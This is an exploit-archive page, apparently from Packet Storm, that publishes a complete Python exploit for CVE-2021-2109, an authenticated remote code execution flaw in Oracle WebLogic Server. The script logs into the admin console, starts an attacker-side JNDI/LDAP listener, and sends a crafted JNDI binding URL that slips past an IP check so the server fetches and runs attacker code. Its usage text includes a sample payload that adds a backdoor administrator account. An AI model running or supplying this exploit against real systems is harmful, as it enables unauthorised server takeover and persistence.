exploit the possibilities

Oracle WebLogic Server 14.1.1.0 Remote Code Execution

Oracle WebLogic Server 14.1.1.0 Remote Code Execution
Posted Jan 22, 2021
Authored by Photubias

Oracle WebLogic Server version 14.1.1.0 authenticated remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2021-2109
MD5 | 25e9422281b5e82bb03523d889add28c

Oracle WebLogic Server 14.1.1.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
# Date: 2021-01-21
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
# Vendor Homepage: https://www.oracle.com
# Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
# Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
# CVE: CVE-2021-2109

#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2021-2109.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)

Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
from https://github.com/welk1n/JNDI-Injection-Exploit
to be in the same folder
'''
import urllib.request, urllib.parse, http.cookiejar, ssl
import sys, os, optparse, subprocess, threading, time

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7001'
iTimeout = 5
oRun = None

## Ignore unsigned certs, if any because WebLogic is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

class runJar(threading.Thread):
def __init__(self, sJarFile, sCMD, sAddress):
self.stdout = []
self.stderr = ''
self.cmd = sCMD
self.addr = sAddress
self.jarfile = sJarFile
self.proc = None
threading.Thread.__init__(self)

def run(self):
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
for line in iter(self.proc.stderr.readline, ''): self.stderr += line


def findJNDI():
sCurDir = os.getcwd()
sFile = ''
for file in os.listdir(sCurDir):
if 'JNDI' in file and '.jar' in file:
sFile = file
print('[+] Found and using ' + sFile)
return sFile

def findJAVA(bVerbose):
try:
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
except:
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')
sResult = list(oProc.stdout)[0].decode()
if bVerbose: print('[+] Found Java: ' + sResult)

def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if sHost[-1:] == '/': sHost = sHost[:-1]
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.username: sUser = options.username
else:
sUser = input('[?] Username [weblogic] : ')
if sUser == '': sUser = 'weblogic'
if options.password: sPass = options.password
else:
sPass = input('[?] Password [Passw0rd-] : ')
if sPass == '': sPass = 'Passw0rd-'
if options.command: sCMD = options.command
else:
sCMD = input('[?] Command to run [calc] : ')
if sCMD == '': sCMD = 'calc'
if options.listenaddr: sLHOST = options.listenaddr
else:
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
if sLHOST == '': sLHOST = '192.168.0.10'
if options.verbose: bVerbose = True
else: bVerbose = False
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)

def startListener(sJarFile, sCMD, sAddress, bVerbose):
global oRun
oRun = runJar(sJarFile, sCMD, sAddress)
oRun.start()
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
oRun.join(3)
if not oRun.stderr == '':
exit('[-] Error starting Java listener:\n' + oRun.stderr)
bThisLine=False
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
for line in oRun.stdout:
if bThisLine: return line.split('/')[3].replace('\n','')
if 'JDK 1.8' in line: bThisLine = True

def endIt():
global oRun
print('[+] Closing threads')
if oRun: oRun.proc.terminate()
exit(0)

def main():
usage = (
'usage: %prog [options] URL \n'
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
' in the current working folder\n'
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
'Only works when hacker is reachable via an IPv4 address\n'
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
)

parser = optparse.OptionParser(usage=usage)
parser.add_option('--username', '-u', dest='username')
parser.add_option('--password', '-p', dest='password')
parser.add_option('--command', '-c', dest='command')
parser.add_option('--listen', '-l', dest='listenaddr')
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)

## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)

## Verify Java and JAR file
sJarFile = findJNDI()
findJAVA(bVerbose)

## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

print('[+] Verifying reachability')
## Get the cookie
oRequest = urllib.request.Request(url = sHost + '/console/')
oResponse = oOpener.open(oRequest, timeout = iTimeout)
for c in cj:
if c.name == 'ADMINCONSOLESESSION':
if bVerbose: print('[+] Got cookie "' + c.value + '"')

## Logging in
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
sResult = oResponse.read().decode(errors='ignore').split('\r\n')
bSuccess = True
for line in sResult:
if 'Authentication Denied' in line: bSuccess = False
if bSuccess: print('[+] Succesfully logged in!\n')
else: exit('[-] Authentication Denied')

## Launch the LDAP listener and retrieve the random endpoint value
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
if bVerbose: print('[+] Got Java value: ' + sRandom)

## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
print('\n[+] Firing exploit now, hold on')
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
if bVerbose: print('[!] Using URL ' + sFullUrl)
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
time.sleep(5)
bExploitWorked = False
for line in oRun.stdout:
if 'Log a request' in line: bExploitWorked = True
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
if bVerbose: print(oRun.stderr)
endIt()

if __name__ == "__main__":
try: main()
except KeyboardInterrupt: endIt()

Login or Register to add favorites

File Archive:

November 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    19 Files
  • 2
    Nov 2nd
    25 Files
  • 3
    Nov 3rd
    8 Files
  • 4
    Nov 4th
    7 Files
  • 5
    Nov 5th
    24 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    106 Files
  • 11
    Nov 11th
    19 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    12 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    12 Files
  • 19
    Nov 19th
    4 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    14 Files
  • 24
    Nov 24th
    19 Files
  • 25
    Nov 25th
    4 Files
  • 26
    Nov 26th
    1 Files
  • 27
    Nov 27th
    4 Files
  • 28
    Nov 28th
    1 Files
  • 29
    Nov 29th
    11 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close